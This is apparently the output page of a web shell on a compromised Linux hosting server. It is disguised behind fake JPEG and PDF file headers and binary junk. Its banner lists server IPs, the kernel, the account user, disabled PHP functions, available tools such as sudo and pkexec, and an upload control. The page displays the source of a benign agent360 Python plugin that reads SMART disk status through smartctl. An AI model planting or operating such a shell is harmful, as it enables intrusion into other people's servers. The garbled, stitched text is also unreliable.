ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.148 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/2666547/root/usr/local/lib/python3.6/site-packages/agent360/plugins/ |
Upload File : |
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import subprocess import plugins import json import re class Plugin(plugins.BasePlugin): __name__ = 'diskstatus' def run(self, config): ''' Monitor nvme or smart disk status. For NVME drives use the diskstatus-nvme plugin for smart status install smartmontools (apt-get/yum install smartmontools) This plugin requires the agent to be run under the root user. ''' results = {} try: devlist = subprocess.Popen('smartctl --scan', stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()[0].decode().splitlines() smartctl = True except Exception as e: smartctl = False return "Could not fetch smartctl status information" if smartctl is True: for row in devlist: try: disk_id = row.split(' ')[0].split('/')[2] disk_stats = os.popen('smartctl -A -H {}'.format(row.split(' ')[0])).read().splitlines() smart_status = 0 if disk_stats[4].split(': ')[1] == 'PASSED': smart_status = 1 results[disk_id] = {} start = False for stats in disk_stats: if stats[0:3] == 'ID#': start = True continue if start is False: continue stats = re.sub(' +', ' ', stats).strip() stats = stats.split(' ') if len(stats) > 9: results[disk_id][stats[1].lower().replace('_celsius','')] = stats[9] results[disk_id]["status"] = smart_status except Exception as e: print(e) return results if __name__ == '__main__': Plugin().execute()